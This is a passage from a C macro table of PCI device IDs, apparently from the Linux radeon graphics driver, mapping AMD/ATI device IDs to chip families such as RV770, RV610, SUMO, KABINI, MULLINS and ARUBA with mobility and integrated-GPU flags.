{0x1002, 0x945E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9460, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9462, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_NEW_MEMMAP}, \
{0x1002, 0x946A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x946B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x947A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x947B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV770|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9480, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9487, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9488, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9489, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x948A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x948F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9490, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9491, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9495, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9498, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x949C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x949E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x949F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV730|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C3, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94C9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94CB, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94CC, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x94CD, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV610|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9500, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9501, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9504, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9505, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9506, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9507, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9508, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9509, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x950F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9511, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9515, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9517, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9519, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV670|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9540, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9541, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9542, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_NEW_MEMMAP}, \
{0x1002, 0x954E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_NEW_MEMMAP}, \
{0x1002, 0x954F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9552, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9553, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9555, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9557, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x955f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV710|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9580, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9581, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9583, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9586, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9587, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9588, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9589, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_NEW_MEMMAP}, \
{0x1002, 0x958F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV630|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9590, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9591, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9593, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9595, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9596, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9597, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9598, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9599, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_NEW_MEMMAP}, \
{0x1002, 0x959B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV635|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C5, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C6, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95C9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95CC, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95CD, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95CE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x95CF, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV620|RADEON_NEW_MEMMAP}, \
{0x1002, 0x9610, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9611, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9612, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9613, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9614, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9615, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9616, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS780|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9640, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9641, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9642, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO2|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9643, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO2|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9644, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO2|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9645, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO2|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9647, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP},\
{0x1002, 0x9648, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP},\
{0x1002, 0x9649, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO2|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP},\
{0x1002, 0x964a, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x964b, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x964c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x964e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP},\
{0x1002, 0x964f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_SUMO|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP},\
{0x1002, 0x9710, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9711, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9712, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9713, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9714, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9715, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS880|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9802, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9803, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9804, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9805, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9806, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9807, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9808, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9809, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x980A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PALM|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9830, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9831, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9832, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9833, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9834, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9835, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9836, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9837, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9838, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9839, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983a, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983b, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x983f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_KABINI|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9850, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9851, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9852, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9853, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9854, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9855, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9856, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9857, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9858, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9859, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x985F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_MULLINS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9900, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9901, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9903, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9904, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9905, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9906, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9907, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9908, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9909, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x990F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9910, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9913, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9917, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9918, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9919, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9990, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9991, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9992, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9993, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9994, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9995, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
{0x1002, 0x9996, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_ARUBA|RADEON_NEW_MEMMAP|RADEON_IS_IGP}, \
